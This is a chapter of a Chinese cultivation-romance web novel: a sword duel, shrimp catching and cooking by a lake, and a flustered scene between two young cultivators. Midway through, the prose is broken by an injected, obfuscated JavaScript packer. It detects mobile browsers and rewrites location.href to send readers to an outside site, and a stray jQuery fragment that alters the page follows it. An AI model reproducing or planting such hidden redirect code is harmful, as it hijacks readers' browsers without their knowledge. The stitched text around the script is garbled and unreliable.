21. 锦湮洞府(二)

作品:《道侣她衰神附体

    郑悠航被廖枫突然握住手腕,腕上的手指肚软绵绵的,比景红霜满是粗糙老茧的手指要光滑得多,软嫩得多。


    郑悠航心下有些飘飘然,“既然如此,便依表妹的吧。”


    最终押的大。


    六千块灵石。


    郑悠航看着各自拔剑的两人,隐隐有些担忧。虽说景红霜是他见过剑法最好的剑修,但,这人外有人,天外有天,不好托大吧。


    只见空地上一深紫一浅绿,衣袂翻飞。两人手中灵剑随着手腕灵活转动,阳光打在剑身,反射出的光线刺花了围观群众的眼。


    “剑修切磋果然精彩!光是这宝石与剑身便险些晃晕了我的眼。”锁踪团的一名成员拍手叫好。


    “景大小姐这套剑法真是不同凡响!”玉灵阁一修士赞叹道。


    只见景红霜一个低扫腿,扫过言澄的左腿,右手出剑向言澄右腿招呼。言澄及时腾起身,以流云剑撑地,腰身用力一扭,原地转了半圈,躲过了景红霜的攻击。


    “好!”围观群众发出一阵喝彩。


    言澄注意到,有一道极细的的剑气从景红霜剑尖冲出。看来这灵脉产出的宝石确有奇效。


    她挽了个剑花,短暂停顿后,用上自己前段时间琢磨的动作,主动出击。


    言澄的这套剑招是遇见泉咕鸡的那天悟出来的。泉咕鸡的攻击神出鬼没,是因为它可以隐匿身形。


    言澄学的是它的快、准、狠,以快隐匿剑身方位,其中融入了泉咕鸡的愤怒。怒而攻击,全心全意。将心神集中至剑身,最终达到人剑合一,剑随神念动。


    剑光飞闪,剑气如愤怒的鸟喙般啄向对面,一下打落了景红霜的霜月剑。


    “当啷。”霜月剑落地,景红霜眼睛里霎时间迸发出耀目的神采。


    “言道友,这场切磋实在是畅快!”景红霜捡起霜月剑,走到言澄面前。


    “言道友,我们可以做朋友吗?我一定刻苦练剑,日后再找你切磋!”


    看着景红霜期待的眼神,言澄笑着答应了。她本就喜欢景红霜这股豪爽劲儿。且剑修的共同爱好便是切磋,言澄也不例外。


    ……


    休息片刻,众人分头行动。宝器阁向东,玉灵阁向西,景红霜自然是跟着郑悠航,向东行去。其余不知名散修们早已四散而去,不知所踪。


    云映阳她们选择往南走。北边是来时路,还是一路向前不拐弯吧!


    与景红霜告辞后,云映阳他们走了大约半个时辰,遇见了一片大湖。


    这湖可见到尽头,远远望去,湖对岸又是青草地与树林。湖水清澈见底,可清晰地看见在水中自由爬行的生物。


    “彩鳌虾!”柳沐川惊呼一声。


    “柳大厨,又看见美味食材了?”云映阳调侃道。


    言煦跟着探头看了看湖底,这五颜六色的虾,看起来有毒的样子,真能吃吗?


    “对,这彩鳌虾非常美味!”柳沐川从乾坤袋中掏出一个大大长长的抄网,在里面撒了些不知名颗粒,而后将网兜放入湖中,站在湖岸边便不动了。


    “柳大厨,你这是做什么?”金满堂很好奇,她师父又在做什么。


    “嘘……小心吓跑它们。帮我拿个小马扎,我坐着等。”柳沐川轻声嘱咐伙伴们不要出声。


    姜和反应迅速,不等金满堂动作,替柳沐川拿好了马扎。柳沐川顺势坐下,继续静等不说话。


    其余人皆感觉稀奇,蹲在岸边看柳沐川捕虾。


    抄网中的颗粒遇水不化,却将湖底无所事事的彩鳌虾吸引着爬入网兜。红色、黄色、紫色、绿色……一只一只,最终居然重重叠叠地堆满了抄网。


    最先进网的彩鳌虾用鳌夹起一个颗粒,塞进嘴里,只听“嘎嘣嘎嘣”的脆响,彩鳌虾吃得很满意,又夹起一颗继续塞嘴里。晚到的彩鳌虾不乐意,没有抢到美味颗粒,两只虾干脆打了起来。


    “可以了。”


    柳沐川抬起抄网,将这满满一网兜的彩鳌虾倒入刚才等待时拿出的大桶。


    因网兜太过拥挤,不小心从边缘处滑落到湖水中的彩鳌虾们有些迷茫,这香香的颗粒去哪里了?


    彩鳌虾,生性胆小,智商不高。脑袋两侧有一对大鳌,全身除鳌外为黑色,其鳌的颜色有七彩,因而称之为彩鳌虾。其肉质鲜嫩弹牙,是厨修们非常好吃的朋友。—《灵食选材录》


    柳沐川回忆着自己看过的菜谱,思索着怎样做才好吃。金满堂在旁边有些迫不及待。


    “柳大厨,这虾怎么处理,教教我,我来帮忙!”金满堂甚至掏出了她的全套练手刀。刀面光洁透着寒光,可以看得出她经常养护这套工具。


    “等我想想要做哪种口味的虾。”柳沐川拦住金满堂,示意其站远些。


    “朋友们,稍等我片刻,我再捕一些。”


    柳沐川又取出了些小颗粒,扔进了水中的抄网。


    彩鳌虾们此时哪里还有半点迷茫,一股脑地冲了过来,争先恐后地闯进抄网。一批又一批的彩鳌虾被捕,其余虾却没有丝毫警醒,继续冲。


    “这下应该够了!”柳沐川收起了抄网,不理会湖里举鳌抗议的彩鳌虾们。


    “这些彩鳌虾看起来笨笨的样子。”云映阳看了看湖中抗议的虾,又看了看桶里幸福地冒着泡泡的虾,有些无语。


    “彩鳌虾是这样的,它们智商不高,还胆小。改天给你们看看《灵食选材录》,里面写得非常有趣。映阳,帮忙放出碧水阁好吗?我们在碧水阁里处理桶中的虾。”


    柳沐川将桶抬至碧水阁厨房,用灵泉水化开了几粒安乐丸,将其倒入大桶中。没过一会儿,彩鳌虾们纷纷没了动静。


    “师父,你专门进碧水阁,是为了保护彩鳌虾们的脆弱心灵吗?”


    金满堂看着柳沐川一手一个虾头,干脆利落地拔着,虾头连着虾线,滴落下蓝色的血液。这场景对于生性胆小的彩鳌虾们来说,太过血腥。


    “确实有这个原因。若是让它们知道吃了鹅肝丸会是这个下场,下次便捉不到它们了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381760|199502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柳沐川一手一只,快速利落地处理着。


    “满堂,看会了吧?你来?”柳沐川洗净了手,背在身后,指点金满堂处理彩鳌虾。


    金满堂很快上手,彩鳌虾去头后便是剥壳取肉。


    晶莹的白色虾肉落在桶边的竹筐中,弹起又落下,震颤了一会儿还未归于平静,又一团虾肉落下。两团肉撞在一起弹了弹。


    “这虾肉太特别了。”云映阳看着竹筐,赞叹着。若是吃进嘴里,会是怎样的弹牙口感?忍不住咽了咽口水,期待地看着柳沐川。


    金满堂被这眼神盯得发毛。


    “映阳,你别这样盯着我们,我们不是食物。晚些时候给你们做好吃的。对了,我刚才在湖岸边发现一些苦苦草。这草可解凉凉兽毒液的毒,我们可以提前备一些。”


    金满堂作为医修,药草熟悉程度相当于《灵药通典》,云映阳应声后,拉着言煦出了碧水阁。


    湖岸边,苦苦草一小丛一小丛的,像灵菇般聚集生长,很容易识别。


    锦湮洞府气候特殊,潮湿而闷热,这环境实在是让言煦难受。


    “言道友,你怎么了?”云映阳最先发现言煦的不对劲。


    潮湿闷热的湖边草地上,蹲着两个长相相近的少年少女,黑衣束发少年仿佛脖颈下方奇痒无比,正扯开衣领用手指肚挠痒。蹲在他身侧的红衣少女正表情焦急地看着他。


    “无碍,不太适应这里的潮湿环境罢了。”言煦觉得还是有些闷有些痒,干脆将领口扯得更大了些。


    “诶!你这里起红疹了!”云映阳没有多想,用食指戳了戳红疹。言煦全身激起一阵战栗。


    “映阳,这里不能随便碰……”言煦趁势捉住了她作乱的食指,握在掌中。


    “我没有随便碰,我认真的,言煦,你起红疹了,我去找满堂拿药来。”说着云映阳便要挣脱,被言煦一把扯住,将人带翻,摔在他身上。


    “不用,我这里有。”言煦一手拽着云映阳的右手不松开,一手从乾坤袋中拿出一个小药瓶。他看了看瓶塞,干脆用牙齿叼住拔开。


    “映阳,帮我拿一下瓶塞。”言煦咬着牙说道。


    “哦,好。”


    云映阳终于成功从言煦手中收回右手。她轻轻地伸手拽走被言煦牙齿咬住的瓶塞,放在手心。红红脸颊的她仿佛也感受到了言煦现在的燥意。这锦湮洞府太热了。


    “多谢。”言煦温柔地笑了笑,倒出一粒丹药扔进嘴里,等待红疹慢慢褪去。


    被柳沐川支配着出来采苦苦草的言澄等人,刚出碧水阁便看到了这奇特的一幕。


    言煦坐在草坪上,单脚膝盖撑起。一手撑地,一手拢住衣领。从言澄她们的视角,看不到言煦的表情。云映阳则是红着脸颊蹲在言煦腿边,一幅害羞模样。


    “这……这倒底是谁没把持住?衣服都扯开了。”言澄拉着众人退回碧水阁,关好门后,众人涌至窗边。


    “看着像是映阳。”温牧也猜测道。


    “我看不像。”